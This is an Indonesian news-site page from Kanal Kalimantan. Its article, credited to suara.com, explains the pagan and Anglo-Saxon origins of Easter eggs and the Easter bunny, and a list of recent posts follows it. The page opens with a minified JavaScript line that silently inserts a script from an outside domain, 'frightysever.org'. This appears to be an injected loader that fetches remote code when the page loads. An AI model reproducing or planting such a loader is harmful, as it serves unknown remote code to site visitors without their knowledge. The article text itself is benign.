(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Ketahui Asal-Usul Telur dan Kelinci saat Paskah


KANALKALIMANTAN.COM – Pernahkah terpikir oleh Anda semua, utamanya yang merayakan Paskah pada hari Minggu 4 April 2021 ini, darimana asal usul tradisi menyembunyikan telur dan kelinci sebagai simbol yang identik dengan Paskah? Asal usul telur dan kelinci saat Paskah sendiri sebenarnya bisa ditarik hingga beberapa abad yang lalu, tepatnya sekitar abad ke-13. Bahkan tradisi ini awalnya tidak berhubungan dengan agama Kristen dan Katolik.

Asal Usul Telur dan Kelinci Saat Paskah

Telur Paskah

Dipercaya awal mula telur dimasukkan ke dalam perayaan Paskah justru berakar dari Festival Anglo-Saxon, tepatnya pada perayaan Dewi Eastre bersamaan dengan datangnya musim semi. Pada festival itu, telur memang dikubur di dalam tanah sebagai simbol berakhirnya musim dingin dan ‘bangkitnya’ dunia dari ‘tidur’ panjang yang terjadi. Telur sendiri dikubur agar tanah bisa kembali subur dan kembali bisa diolah.

Ilustrasi kelinci paskah. Foto: pexels

Tradisi ini kemudian diadaptasi oleh umat Nasrani dalam rangka mengajarkan ajaran agamanya, dan dengan harapan semakin banyak umat yang bergabung dalam ajaran agama tersebut. Singkat cerita, kemudian istilah Telur Paskah digunakan hingga sekarang sebagai bentuk kelahiran, kebangkitan, dan munculnya kehidupan baru, sesuai dengan kebangkitan Tuhan Yesus pada

Kelinci Paskah

Untuk kelinci sendiri, juga bermula dari tradisi pagan dalam perayaan Dewi Eostre atau dewi kesuburan. Kelinci diidentikan sebagai lambang kesuburan dan permulaan kehidupan, karena mampu berkembang biak cengan sangat cepat. Tradisi ini juga kemudian diadaptasi, dan turut dijadikan perlambang Paskah sebagai manifestasi atas kehidupan baru dan kesuburan yang diharapkan setelah Paskah.

Meski memang asal usul telur dan kelinci saat Paskah memiliki banyak versi, rasanya sebagai manusia modern kita bisa mengambil sisi positif saja. Selama tujuan perayaan dan simbol yang digunakan adalah untuk kebaikan, rasanya tak perlu diperdebatkan mana cerita asal usul yang benar.

Sedikit ulasan mengenai asal usul telur dan kelinci saat Paskah di atas semoga bisa jadi satu pengetahuan baru untuk Anda. (suara.com)

 

Editor : kk

 


Al Ghifari

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

9 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

11 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

17 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

17 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

20 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

24 jam ago

This website uses cookies.